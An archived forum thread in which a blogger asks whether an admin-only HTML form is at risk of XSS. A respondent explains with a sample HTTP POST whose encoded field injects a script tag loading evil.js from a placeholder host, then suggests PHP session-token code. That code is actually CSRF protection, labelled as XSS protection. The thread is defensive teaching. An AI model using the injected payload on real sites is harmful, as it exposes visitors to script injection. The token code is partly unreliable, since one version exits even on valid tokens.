Forums

The forums ran from 2008-2020 and are now closed and viewable here as an archive.

Home Forums Back End Should I Worry About XSS attacks?

  • This topic is empty.
Viewing 8 posts - 1 through 8 (of 8 total)
  • Author
    Posts
  • #156774
    Anonymous
    Inactive

    In the admin panel for my blog i can submit a new article to the website with a form. I want to add styles to the text along the way as well using html tags. So if i wanted to upload an article with bold letters i would do this article text.
    And only i will be capable of doing this because its on the admin panel. So am i vulnerable to XSS attacks? this question can relate to my previous blog post here
    https://css-tricks.com/forums/topic/style-text-in-text-field/

    #156846
    __
    Participant

    How does your admin login work? Sessions?

    #156864
    Anonymous
    Inactive

    I’m actually thinking of keeping the admin panel in my computer and accessing the database thats in the domain. Although im not sure if ill be able to add images that way because i dont know if i will still be able to add images to the filesystem in my domain from my local computer when adding the images to the article.

    #156865
    Anonymous
    Inactive

    So are XSS attacks only possible when the hacker has the text field with enabled html tags?

    #156875
    __
    Participant

    So are XSS attacks only possible when the hacker has the text field with enabled html tags?

    Not exactly. This is what I was trying to explain in the other thread – XSS is possible any time you accept user input and you don’t validate/sanitize it properly.

    This has nothing to do with whether or not the attacker has access to the form.

    A very, very commonplace (if oversimplified) example:

    1 ) You have an admin page that allows you to submit a form with two fields: title and content. When submitted, the server saves these two fields in the database. Later on, they will be displayed to users (perhaps they’re blog posts).

    2 ) The admin page is password-protected (for the purposes of this example, let’s assume that the password protection is flawless).

    3 ) An attacker writes their own HTTP POST request (it is not hard to do), like so:

    POST /admin/form-submit.php HTTP/1.1
    Host: example.com
    
    title=My+Sneaky+Blog+Post&content=%3Cscript+src%3D%22http%3A%2F%2Fexample.xss%2Fevil.js%22%3E%2F%2Acopyright+mallory+2013+%2A%2F%3C%2Fscript%3EHello%2C+I%27m+a+harmless+blog+post
    

    It [almost] doesn’t matter if you check credentials when you the form.

    The critical mistake is if you don’t check any credentials when the form is submitted.

    In this case, there are few options to prevent this attack:

    1 ) strip all html tags. Obviously, this means that you can’t use html in your posts.*

    2 ) use a whitelist tool like htmlpurifier to make sure no malicious content gets in – in this case, the <script> would be removed. Of course, this mean that you couldn’t place inline scripts in your blog post either… but then, you really shouldn’t be anyway. :)

    3 ) authenticate the form submission. This is the most important step, and you should be doing it regardless of what other security (if any) you implement.

    * An approach I take sometimes is to transform the html input into MarkDown (which will preserve useful, semantic markup like <p>, <h1>, <em>, etc.), and then run strip_tags to remove any “unsafe” html.

    Here’s a good start (psuedocode in some parts):

    <?php
    
    function xssToken(){
    
        // form only valid for 5 minutes
        $expiry = time() + 300;
    
        // this will be decently random.
        $token = md5( 
            openssl_random_pseudo_bytes( 16 )
        );
    
        // save token and expiry to user session.
        $_SESSION['xssToken'] = array( $token,$expiry );
    
        // return token for use in form field.
    }
    
    ?>
    <form method=post action=submit.php>
      <input type=hidden name=xssToken value=<?= xssToken() ?> >
      <input name=field1>
      <!--  etc. ...  -->
    </form>
    

    submit.php might look like this:

    <?php
    
    if(
        isset( $_SESSION['xssToken'] )
        && isset( $_POST['xssToken'] )
        && $_SESSION['xssToken'][0] === $_POST['xssToken']
        && time() < $_SESSION['xssToken'][1]
    ){
        /* before processing the form, MAKE SURE:
           1) the user session has an xss token.
           2) the form submission has an xss token.
           3) the tokens match.
           4) the tokens have not expired.
         */
    
        // token can only be used once
        // you might log each token so it can't be reused, ever.
        unset( $_SESSION['xssToken'] );
    }
    /* if not, ignore entire POST. Seriously.
       or maybe write to security log, etc..  */
    exit(1);
    
    #156932
    __
    Participant

    A few typos (too late to edit):

    The xssToken function is missing its return statement:

    function xssToken(){
        $expiry = time() + 300;
        $token = md5( 
            openssl_random_pseudo_bytes( 16 )
        );
        $_SESSION['xssToken'] = array( $token,$expiry );
        return $token;
    }
    

    It [almost] doesn’t matter if you check credentials when you the form.

    Should read:

    It [almost] doesn’t matter if you check credentials when you serve the form.

    As in my post in your other thread, I also meant to point out that using a tool like htmlpurifier is a good idea anyway, since it can do other useful things like catching mistakes in your markup (e.g., unknown attributes, mismatched tags, and so forth).

    #156963
    Anonymous
    Inactive

    Thank you for being so thorough. I will definitely try this and make sure it works.

    #156967
    __
    Participant

    sure, no problem.

    It occurs to me that it would be better (easier to use) to make checking the token a function as well.

    <?php

    function check_xssToken(){
        return (
            isset( $_SESSION['xssToken'] )
            && isset( $_POST['xssToken'] )
            && $_SESSION['xssToken'][0] === $_POST['xssToken']
            && time() < $_SESSION['xssToken'][1]
        );
    }
    

    Then, you could simply use it like so:

    <?php
    
    if( ! check_xssToken() ){
        /* bad or missing token. */
        exit(1);
    }
    /* good token; continue as normal! */
    
Viewing 8 posts - 1 through 8 (of 8 total)
  • The forum ‘Back End’ is closed to new topics and replies.